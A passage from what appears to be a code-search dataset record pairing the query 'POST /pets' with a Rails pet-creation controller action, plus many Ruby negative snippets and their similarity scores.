"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def find_pets_by_tags_with_http_info(tags, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.find_pets_by_tags ...'\n end\n # verify the required parameter 'tags' is set\n if @api_client.config.client_side_validation && tags.nil?\n fail ArgumentError, \"Missing the required parameter 'tags' when calling PetApi.find_pets_by_tags\"\n end\n # resource path\n local_var_path = '/pet/findByTags'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'tags'] = @api_client.build_collection_param(tags, :csv)\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<Pet>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.find_pets_by_tags\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#find_pets_by_tags\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @prime = Prime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prime }\n end\n end",
"def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end",
"def show\n params.require(%i[id])\n render json: Ingredient.find_by!(id: params[:id])\n end",
"def index\n @dogs = Dog.all\n # render erb: 'dogs/index'\n render json: @dogs\n end",
"def index\n @parishes = Parish.all\n\n render json: @parishes\n end",
"def show\n @species = Species.find_by_name(params[:species_name])\n @pet = Pet.first(:conditions => ['species_id = ? AND regid = ?', @species.id, params[:regid]])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pet }\n end\n end"
] | [
"0.75733095",
"0.7517837",
"0.7517837",
"0.73931026",
"0.7245301",
"0.70816267",
"0.7062426",
"0.7058671",
"0.6981802",
"0.6895421",
"0.6866418",
"0.6858466",
"0.6762347",
"0.66688824",
"0.6666302",
"0.64767885",
"0.6471701",
"0.6471701",
"0.64502436",
"0.6442229",
"0.6401544",
"0.6370456",
"0.63654625",
"0.63480365",
"0.6303754",
"0.6287651",
"0.6284281",
"0.62656856",
"0.62610674",
"0.62497246",
"0.6227918",
"0.6185398",
"0.60955787",
"0.6092138",
"0.60841733",
"0.607263",
"0.6067855",
"0.60659796",
"0.6049707",
"0.6039924",
"0.6036608",
"0.6018903",
"0.6013699",
"0.60131764",
"0.60027033",
"0.5983427",
"0.59621215",
"0.59528494",
"0.595024",
"0.594084",
"0.59365034",
"0.593586",
"0.593444",
"0.59237075",
"0.59109867",
"0.5900624",
"0.58980197",
"0.5886887",
"0.5879392",
"0.587192",
"0.5870984",
"0.5869736",
"0.58680964",
"0.5866481",
"0.5863882",
"0.5857605",
"0.58570594",
"0.5855788",
"0.5844345",
"0.58395195",
"0.58391136",
"0.5837061",
"0.58346254",
"0.5833209",
"0.5833197",
"0.5832931",
"0.58320343",
"0.58251816",
"0.58228916",
"0.58217764",
"0.5821748",
"0.5818781",
"0.58148575",
"0.5814281",
"0.58114433",
"0.5810552",
"0.58053005",
"0.5803238",
"0.5799393",
"0.57966936",
"0.57964927",
"0.57964104",
"0.57964104",
"0.57964104",
"0.57947236",
"0.57945",
"0.57921374",
"0.57766294",
"0.5776064",
"0.5773305",
"0.5772474"
] | 0.0 | -1 |
POST /pets POST /pets.json | def create
@client = Client.find params[:client_id].to_i
@pet = Pet.new(pet_params)
@pet.client = @client
respond_to do |format|
if @pet.save
format.html { redirect_to client_pet_path(@client, @pet), notice: 'Mascota registrada exitosamente.' }
else
format.html { render :new }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @pet = @person.pets.build(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = Pet.new(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = Pet.new(pet_params)\n @pet.save\n redirect_to \"/pets\"\n end",
"def create\n\n if !params[:name].nil? && !params[:email].nil?\n user = User.find_by_email(params[:email])\n if user\n pet = user.pets.create(name:params[:name], observations: params[:observations])\n if pet\n render json: pet, status: :created\n else\n render json: {message: 'There was an error saving pet, please try it again'}, status: :bad_request\n end\n else\n render json: {message: 'There was an error saving pet, please try it again'}, status: :bad_request\n end\n else\n render json: {message: 'Pet name not provided'}, status: :bad_request\n end\n end",
"def create\n pet_response = pet_create_service.call(pet_params)\n lost_pet_match_service.call(pet_response)\n\n @pet = pet_response\n\n respond_to do |format|\n if pet_response.success?\n format.html { redirect_to pet_response, notice: I18n.t(\"pets.show.created\") }\n format.json { render :show, status: :created, location: pet_response }\n else\n format.html { render :new }\n format.json { render json: pet_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @pet = Pet.new(pet_params)\n @pet.user = @user\n \n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = current_user.pets.new(pet_params)\n\n # TODO wipe this out later \n # This assigns pet to user\n # @current_user = current_user\n # @current_user.pets << @pet\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = Pet.new(pet_params)\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: I18n.t('Pet card was successfully created') }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @adopted_pet = Pet.find(params[:pet_id])\n # @adopted_pet = adopted_pet.build(:pet => pet)\n\n respond_to do |format|\n if @adopted_pet.save\n format.html { redirect_to @adopted_pet, notice: 'You are about to adopt a pet!' }\n format.json { render action: 'show', status: :created, location: @adopted_pet }\n else\n format.html { render action: 'new' }\n format.json { render json: @adopted_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = current_user.pets.new(pet_params)\n\n params[:pet][:photos][:photo].each {|photo| @pet.photos.build(photo: photo)} if params[:pet][:photos].present?\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n# @pet = Pet.new(pet_params)\n@pet = current_user.pets.create(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Has registrado a tu mascota' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question_pet = QuestionPet.new(question_pet_params)\n\n respond_to do |format|\n if @question_pet.save\n format.html { redirect_to @question_pet, notice: 'Question pet was successfully created.' }\n format.json { render :show, status: :created, location: @question_pet }\n else\n format.html { render :new }\n format.json { render json: @question_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = current_user.pets.new(pet_params)\n if @pet.save\n redirect_to pets_path, success: 'Votre animal a bien été créé'\n else\n render :new\n end\n end",
"def pet_params\n params.require(:pet).permit(:animal_type, :age, :sex, :name, :description, :lost_on, :lost_in, :user_id, :race_id, :solved)\n end",
"def pet_params\n params.require(:pet).permit(:name, :dob, :died, :species_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :adoptions_id, :races_id, :weight, :description, :special_needs, :dewormed, :neutered, :aprox_age, :species)\n end",
"def create\n @pet = Pet.new(pet_params)\n if @pet.save\n redirect_to pets_path\n flash[:alert] = \"Pet Saved\"\n else\n render :new\n end\n end",
"def pet_params\n params.require(:pet).permit(:name, :gender, :birthday, :species_id, :image)\n end",
"def new\n @user = current_user\n @pet = @user.pets.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pet }\n end\n end",
"def create2\n @person= Person.find_by_upid(params[:person_upid])\n @pet = Pet.new(params[:pet])\n\n respond_to do |format|\n if @pet.save\n @pp = @person.as_json(:include => :addresses)\n @pp[:pets] = Pet.joins(:caretakers).includes(:petphotos).where(\"caretakers.primary_role = 'Owner' and caretakers.person_id = ?\", @person.id).all.as_json(:include => :petphotos)\n\n if @person.status.eql? \"active mobile\"\n # add pet to related peeps (f&f, pet_pros)\n @person.person_connections.each do |fandf|\n famfrnd = Person.find(fandf.person_b_id)\n if fandf.category.eql? 'Spouse-Partner'\n prim_role = 'Owner'\n else # category in Family, Friend, Dog Walker\n prim_role = fandf.category\n end\n famfrnd.caretakers.build(:pet_id => @pet.id, :primary_role => prim_role, :status => 'active', :started_at => Time.now)\n famfrnd.save\n end\n end\n\n format.json { render json: @pp }\n else \n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:name, :description, :animal_type, :breed, :user_id, :parent_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :age, :breed, :species, :photo_url)\n end",
"def pet_params\n params.require(:pet).permit(:id, :name, :img_url, :about, :user_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :species, :year_of_birth, :good_with_kids)\n end",
"def pet_params\n params.require(:pet).permit(:name, :species, :desc, :image, :remote_image_url)\n end",
"def pet_params\n params.require(:pet).permit(:name, :age, :specie, :sex, :race, :height, :sterilization, :adpted, :description, :imagen)\n end",
"def pet_params\n params.require(:pet).permit(:name, :species, :year_of_birth, :good_with_kids)\n end",
"def pet_params\n params.require(:pet).permit(:name, :specie, :age, :gender, :race, :size, :sterilized, :avatar, :user_id, \n :adoption, :moquillo, :rabia, :parainfluenza)\n end",
"def create\n pet = Pet.find(params[:pet_id])\n @line_pet = @consider.add_pet(pet.id)\n\n respond_to do |format|\n if @line_pet.save\n format.html { redirect_to foster_url }\n\tformat.js\n format.json { render action: 'show', status: :created, location: @line_pet }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:name, :care_instructions, :household_id, :owner_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :description, :city, :state, :price, :avatar, :user_id, :reservation_id, :reservation_date)\n end",
"def pet_params\n params.require(:pet).permit(:name, :race, :birthdate)\n end",
"def pet_params\n params.require(:pet).permit(:name, :color, :age, :weight, :markings, :gender, :collar, :collar_description, :chipped, :injured,\n :listing_type, :missing_since_found_at, :location, :latitude, :longitude, :description,\n :returned_to_owner, :scraping_script, :scraped_feed, :source_url, :breed_id, :user_id, :photo_url)\n end",
"def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend",
"def pet_params\n params.require(:pet).permit(:type, :name, :breed, :size, :gender, :color, :age, :behavior)\n end",
"def create\n @pet = Pet.new(params[:pet])\n @pet.organization_id = current_user.organization_id\n\n respond_to do |format|\n if @pet.save\n session[:message] = \"Pet was successfully listed\"\n format.html { redirect_to @pet, notice: 'Pet was successfully listed' }\n format.json { render json: {\"message\" => \"Pet was successfully listed\", \"success\" => true, \"data\" => @pet}, status: :created, location: @pet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:name, :age)\n end",
"def create\n @typeofpet = Typeofpet.new(typeofpet_params)\n\n respond_to do |format|\n if @typeofpet.save\n format.html { redirect_to @typeofpet, notice: 'Typeofpet was successfully created.' }\n format.json { render :show, status: :created, location: @typeofpet }\n else\n format.html { render :new }\n format.json { render json: @typeofpet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:pet_kind, :breed, :size, :user_id)\n end",
"def pet_params\n params.require(:pet).permit(:age, :name, :sex, :description, :avatar, :breed_id)\n end",
"def pet_params\n params.require(:pet).permit(:name, :sex, :health, :clean, :mood, :status, :asleep, :strength, :defense, :age, :user_id, :highscore_id)\n end",
"def create\n @pet = Pet.new(params[:pet])\n\n respond_to do |format|\n if @pet.save\n flash[:notice] = 'Pet was successfully added to system.'\n format.html { redirect_to(@pet) }\n format.xml { render :xml => @pet, :lost => :created, :location => @pet }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pet.errors, :lost => :unprocessable_entity }\n end\n end\n end",
"def create\n @pet_true = PetTrue.new(pet_true_params)\n\n respond_to do |format|\n if @pet_true.save\n format.html { redirect_to @pet_true, notice: 'Pet true was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pet_true }\n else\n format.html { render action: 'new' }\n format.json { render json: @pet_true.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:name, :description, post_attributes: [:post_type])\n end",
"def create\n @postulation_pet = PostulationPet.new(postulation_pet_params)\n respond_to do |format|\n if @postulation_pet.save\n\n @postulation_pet.addAnswer(params[:postulation_pet][:answer_pets], @postulation_pet.id )\n\n format.html { redirect_to @postulation_pet, notice: 'Postulation pet was successfully created.' }\n format.js\n # format.json { render :show, status: :created, location: @postulation_pet }\n else\n format.html { render :new }\n format.js\n # format.json { render json: @postulation_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:type, :name, :age)\n end",
"def create\n @user = current_user\n @pet = @user.pets.new(params[:pet])\n\n binding.pry\n if humane_society_ips.include?(request.remote_ip)\n @pet.at_humane_society = true \n end\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to root_path, notice: 'Pet was successfully created.' }\n format.json { render json: @pet, status: :created, location: @pet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:category_id, :name, :price, :age, :weight, :date_of_birth, :adopted_at, :wakeup_time, :desexed, :description)\n end",
"def create\n @photo = Photo.new(photo_params)\n @photo.pet = @pet\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).\n permit(:type, :name, :description, :gender, :colors, :needs_transit_home, :published, :vaccinated, :location,\n :metadata, :age, :children_friendly, :pet_friendly, :publication_type, videos: [])\n end",
"def create\n @pet = Pet.new(pet_params)\n @pet.user_id = current_user.id\n @pet.latitude = current_user.latitude\n @pet.longitude = current_user.longitude\n respond_to do |format|\n if @pet.save\n pet = Pet.find(@pet.id)\n user = User.find(current_user.id)\n format.html { redirect_to @pet, notice: 'Mascota fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postulation_pet_params\n params.require(:postulation_pet).permit(:pet_id, :user_id, { question_ids: []}, {answer_pet_id: []}, :state )\n end",
"def pet_params\n params.require(:pet).permit(:age, :breed, :gender, :name, :user_id)\n end",
"def create\n animal = Animal.new(animal_params)\n if !animal.name.nil?\n animal.save\n render json: animal, status: 201, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def pet_params\n # params.fetch(:pet, {})\n params.require(:pet).permit(:user_id, :owner_phone, :owner_address, :species, :name, :weight, :breed, :age_years, :age_months, :sex, :spayed, :housetrained, :housetrained_info, :chipped, :otherdogs, :otherdogs_info, :othercats, :othercats_info, :children, :children_info, :shed, :shed_info, :hypoallergenic, :hypoallergenic_info, :noise, :noise_info, :aggression, :aggression_info, :specialcare, :vet, :about, :instructions)\n end",
"def pet_params\n params.require(:pet).permit(:ci, :name, :gender, :race, :bornDate, :client_id, :imagen)\n end",
"def create\n @pet = Pet.new(pet_params)\n @pet.administrators << current_user\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @peticion = Peticion.new(peticion_params)\n\n respond_to do |format|\n if @peticion.save\n format.html { redirect_to @peticion, notice: 'Peticion was successfully created.' }\n format.json { render :show, status: :created, location: @peticion }\n else\n format.html { render :new }\n format.json { render json: @peticion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def typeofpet_params\n params.require(:typeofpet).permit(:name, :pet_id)\n end",
"def index\n @pets = Pet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pets }\n end\n end",
"def pet_params\n params.require(:pet).permit(:user_id, :image)\n end",
"def destroy\n pet = @user.pets.find(params[:id])\n pet.destroy\n render json: pet\n end",
"def create\n pet = Pet.find(params[:pet_id])\n @pet_item = @pet_list.add_pet(pet.id) #pet_items.build(pet: pet) #PetItem.new(pet_item_params)\n\n respond_to do |format|\n if @pet_item.save\n format.html { redirect_to @pet_item.pet_list }\n format.js { @current_item = @pet_item }\n format.json { render action: 'show', status: :created, location: @pet_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @pet_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render json: @pet\n end",
"def prepare_pet(pet_api)\n pet_id = random_id\n category = Petstore::Category.new('id' => 20002, 'name' => 'category test')\n tag = Petstore::Tag.new('id' => 30002, 'name' => 'tag test')\n pet = Petstore::Pet.new('id' => pet_id, 'name' => \"RUBY UNIT TESTING\", 'photo_urls' => 'photo url',\n 'category' => category, 'tags' => [tag], 'status' => 'pending')\n pet_api.add_pet(pet)\n pet_id\nend",
"def create\n @dog = Dog.new(dog_params)\n\n if @dog.save\n render json: @dog, status: 201\n else\n render json: {\n errors: @dog.errors\n }\n end\n end",
"def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end",
"def create\n @diet = Diet.new(diet_params)\n @diet.user = @current_user\n\n if @diet.save\n render json: @diet, status: 201, location: @diet, root: true\n else\n render json: @diet.errors, status: 422\n end\n end",
"def add_pet_with_http_info(pet, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.add_pet ...'\n end\n # verify the required parameter 'pet' is set\n if @api_client.config.client_side_validation && pet.nil?\n fail ArgumentError, \"Missing the required parameter 'pet' when calling PetApi.add_pet\"\n end\n # resource path\n local_var_path = '/pet'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/xml'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(pet)\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.add_pet\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#add_pet\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def addpets\n\t\t@petowner = Petowner.find( params[:id] )\n\t\t@all_pets_in_system = Pettype.all\n\t\t\n\tend",
"def create\n @tags_of_novel = TagsOfNovel.new(params[:tags_of_novel])\n\n respond_to do |format|\n if @tags_of_novel.save\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully created.' }\n format.json { render json: @tags_of_novel, status: :created, location: @tags_of_novel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:pname, :gender_cd, :status_cd, :age_cd, :size_cd, :bio, :for_adoption, :photos, :breed_id)\n end",
"def create\n @pet_breed = PetBreed.new(pet_breed_params)\n\n respond_to do |format|\n if @pet_breed.save\n format.html { redirect_to @pet_breed, notice: 'Pet breed was successfully created.' }\n format.json { render :show, status: :created, location: @pet_breed }\n else\n format.html { render :new }\n format.json { render json: @pet_breed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n #@pet = Pet.new\n #@person = Person.find(params[:person_id])\n #@current_user = current_user\n #@person = current_user.person\n #logger.debug(\"@person.email = \" + @person.email)\n\n @pet = Pet.new\n #@petphoto = @pet.petphotos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pet }\n end\n end",
"def question_pet_params\n params.require(:question_pet).permit(:pet_id, :text)\n end",
"def create\n @trumpet = Trumpet.new(params[:trumpet])\n\n respond_to do |format|\n if @trumpet.save\n format.html { redirect_to @trumpet, notice: 'Trumpet was successfully created.' }\n format.json { render json: @trumpet, status: :created, location: @trumpet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trumpet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @lost_pet = LostPet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost_pet }\n end\n end",
"def pet_params\n params.fetch(:pet, {})\n end",
"def pet_item_params\n params.require(:pet_item).permit(:pet_id)\n end",
"def create\n dive = Dive.new(dive_params)\n if dive.save\n render json: dive\n else\n render json: {message: dive.errors}, status: 400\n end\n end",
"def prepare_pet(pet_api)\n pet_id = random_id\n category = Petstore::Category.new('id' => 20002, 'name' => 'category test')\n tag = Petstore::Tag.new('id' => 30002, 'name' => 'tag test')\n pet = Petstore::Pet.new('id' => pet_id, 'name' => \"RUBY UNIT TESTING\", 'photo_urls' => 'photo url',\n 'category' => category, 'tags' => [tag], 'status' => 'pending')\n pet_api.add_pet(pet)\n return pet_id\nend",
"def create\n @puppy = Puppy.new(puppy_params)\n\n respond_to do |format|\n if @puppy.save\n format.html { redirect_to @puppy, notice: 'Puppy was successfully created.' }\n format.json { render :show, status: :created, location: @puppy }\n else\n format.html { render :new }\n format.json { render json: @puppy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end",
"def create\n @poke = Poke.new(poke_params)\n\n respond_to do |format|\n if @poke.save\n format.html { redirect_to @poke, notice: 'Poke was successfully created.' }\n format.json { render :show, status: :created, location: @poke }\n else\n format.html { render :new }\n format.json { render json: @poke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @animal = @shelter.animals.build(animal_params)\n respond_with(@shelter)\n end",
"def adopted_pet_params\n params.require(:adopted_pet).permit(:pet_id)\n end",
"def create_params\n params.permit(user: [:pet_id])\n end",
"def create\n plant = Plant.create(plant_params)\n render json: plant, status: :created\n end",
"def create\n @pokemon = Pokemon.new(pokemon_info)\n \n #check if the pokemon was saved\n #everything went fine\n if @pokemon.save\n render json:{\n status: \"success\",\n message: \"Pokemon was saved, and sent to the PC Storage\",\n data: @pokemon \n }\n else\n render json:{\n status: \"error\",\n message: \"Pokemon ran away...\",\n data: @pokemon.errors\n } \n\n \n end \n end",
"def create\n @trumpet = Trumpet.new(trumpet_params)\n\n respond_to do |format|\n if @trumpet.save\n format.html { redirect_to new_trumpet_url, notice: 'Trumpet was successfully created.' }\n format.json { render :show, status: :created, location: @trumpet }\n else\n format.html { render :new }\n format.json { render json: @trumpet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @petition = Petition.new(params[:petition])\n\n respond_to do |format|\n if @petition.save\n format.html { redirect_to @petition, notice: 'Petition was successfully created.' }\n format.json { render json: @petition, status: :created, location: @petition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @petition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_add(client_id)\n name = @prompt.ask(\"Pet Name?\") do |q|\n # error handling requiring input\n q.required true\n q.validate /[a-z]+/\n # error handling message\n q.messages[:valid?] = \"Name need to start with a letter.\"\n q.messages[:required?] = \"Required pet name\"\n q.modify :capitalize\n end\n\n age = @prompt.ask(\"Pet Age?\", convert: :integer) do |q|\n # error handling requiring input\n q.required true\n # error handling message\n q.messages[:required?] = \"Required pet age\"\n q.messages[:convert?] = \"Age has to be a number\"\n end\n\n # option to choose between cat and dog (animal type)\n type = @prompt.select(\"Pet type? \", [\n {name: \"#{@emoji[:smiling_cat_face_with_open_mouth]} Cat\", value: \"Cat\"},\n {name: \"#{@emoji[:dog_face]} Dog\", value: \"Dog\"},\n ])\n\n observations = @prompt.ask(\"Observations: \") do |q|\n q.modify :capitalize\n end\n \n new_id = @db.get_new_id(\"pets\")\n pet = Pet.new(new_id, name, age, type, observations, client_id)\n \n @db.add(\"pets\", pet)\n end",
"def create\n @pet = Pet.new(pet_params)\n @pet.user = current_user\n @pet.health = 100\n @pet.clean = 100\n @pet.mood = 100\n @pet.status = true # Not Sick\n @pet.strength = rand(0...100)\n @pet.defense = rand(0...100)\n @pet.age = Time.now\n\n if Time.now > (Time.parse \"8:00 am\")\n if Time.now < (Time.parse \"8:00 pm\")\n @pet.asleep = false\n else\n @pet.asleep = true\n end\n else\n @pet.asleep = true\n end\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Your pet ' + @pet.name + ' was born!' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = Pet.find(params[:id]) \n @solicitud = Solicitud.new(solicitud_params)\n @solicitud.id = current_user.id \n @solicitud.id_pet = @pet.id\n respond_to do |format|\n if @solicitud.save\n solicitud = Solicitud.find(@solicitud.id)\n user = User.find(current_user.id)\n #user.follow(solicitud) Esto no porque crea tuplas duplicadas y mal en followers\n format.html { redirect_to @solicitud, notice: 'Tu solicitud ha sido guardada' }\n format.json { render :show, status: :created, location: @solicitud }\n else\n format.html { render :new }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sit_pet_params\n params.require(:sit_pet).permit(:pet_kind, :breed, :size, :user_id)\n end",
"def set_pet\n @pet = params[:id] ? Pet.find(params[:id]) : Pet.new\n end",
"def create\n @petition = Petition.new(petition_params)\n\n respond_to do |format|\n if @petition.save\n format.html { redirect_to @petition, notice: 'Petition was successfully created.' }\n format.json { render :show, status: :created, location: @petition }\n else\n format.html { render :new }\n format.json { render json: @petition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pokemon = Pokemon.new(pokemon_params)\n\n respond_to do |format|\n if @pokemon.save\n format.html { redirect_to @pokemon, notice: 'Pokemon was successfully created.' }\n format.json { render :show, status: :created, location: @pokemon }\n else\n format.html { render :new }\n format.json { render json: @pokemon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:name, :picture, :max_weight)\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end"
] | [
"0.7303997",
"0.7081908",
"0.7000595",
"0.6952367",
"0.68931097",
"0.6804849",
"0.6789769",
"0.6748069",
"0.6664846",
"0.66344166",
"0.6613724",
"0.65952945",
"0.6573272",
"0.6449908",
"0.64429986",
"0.64418715",
"0.6437518",
"0.64174235",
"0.6417186",
"0.6385124",
"0.63812435",
"0.63778245",
"0.6329564",
"0.63255626",
"0.6324972",
"0.6301884",
"0.6282331",
"0.6251503",
"0.6250378",
"0.6241996",
"0.62408876",
